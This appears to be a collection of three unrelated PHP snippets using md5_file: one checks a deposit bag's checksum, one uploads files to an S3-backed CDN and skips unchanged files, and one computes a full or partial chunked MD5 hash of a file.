/** * {@inheritdoc} */ protected function processDeposit(Deposit $deposit) { $depositPath = $this->filePaths->getHarvestFile($deposit); if (!$this->fs->exists($depositPath)) { throw new Exception("Cannot find deposit bag {$depositPath}"); } $checksumValue = null; switch (strtoupper($deposit->getChecksumType())) { case 'SHA-1': case 'SHA1': $checksumValue = sha1_file($depositPath); break; case 'MD5': $checksumValue = md5_file($depositPath); break; default: throw new Exception("Deposit checksum type {$deposit->getChecksumType()} unknown."); } if (strtoupper($checksumValue) !== $deposit->getChecksumValue()) { $deposit->addErrorLog("Deposit checksum does not match. Expected {$deposit->getChecksumValue()} != Actual " . strtoupper($checksumValue)); $this->logger->warning("Deposit checksum does not match for deposit {$deposit->getDepositUuid()}"); return false; } $this->logger->info("Deposit {$depositPath} validated."); return true; }
/** * Uploads files to FTP * * @param array $files * @param array $results * @param boolean $force_rewrite * @return boolean */ function upload($files, &$results, $force_rewrite = false) { $count = 0; $error = null; if (!$this->_init($error)) { $results = $this->get_results($files, W3_CDN_RESULT_HALT, $error); return false; } foreach ($files as $local_path => $remote_path) { if (!file_exists($local_path)) { $results[] = $this->get_result($local_path, $remote_path, W3_CDN_RESULT_ERROR, 'Source file not found'); continue; } if (!$force_rewrite) { $info = @$this->_s3->getObjectInfo($this->_config['bucket'], $remote_path); if ($info) { $hash = @md5_file($local_path); $s3_hash = isset($info['hash']) ? $info['hash'] : ''; if ($hash === $s3_hash) { $results[] = $this->get_result($local_path, $remote_path, W3_CDN_RESULT_ERROR, 'Object already exists'); continue; } } } $result = @$this->_s3->putObjectFile($local_path, $this->_config['bucket'], $remote_path, S3::ACL_PUBLIC_READ); $results[] = $this->get_result($local_path, $remote_path, $result ? W3_CDN_RESULT_OK : W3_CDN_RESULT_ERROR, $result ? 'OK' : 'Unable to put object'); if ($result) { $count++; } } return $count; }
/** * Compute a full md5 file hash or compute a partial hash if $limit is present. * Returns null on failure. * * @param string $realPath * @param int $offset in bytes * @param int $limit in bytes * @param boolean $forcePartialHashing * * @return null|string */ public function computeMd5Hash($realPath, $offset = 0, $limit = 0, $forcePartialHashing = false) { if ($limit === 0 && $offset === 0 && !$forcePartialHashing) { // md5_file is always faster if we don't chunk the file $hash = md5_file($realPath); return $hash !== false ? $hash : null; } $ctx = hash_init('md5'); if (!$ctx) { // Fail to initialize file hashing return null; } // Calculate limit from file size and offset if ($limit === 0) { $limit = filesize($realPath) - $offset; } $fh = @fopen($realPath, "rb"); if ($fh === false) { // Failed opening file, cleanup hash context hash_final($ctx); return null; } fseek($fh, $offset); while ($limit > 0) { // Limit chunk size to either our remaining chunk or max chunk size $chunkSize = $limit < $this->maxChunkByteSize ? $limit : $this->maxChunkByteSize; $limit -= $chunkSize; $chunk = fread($fh, $chunkSize); hash_update($ctx, $chunk); } fclose($fh); return hash_final($ctx); }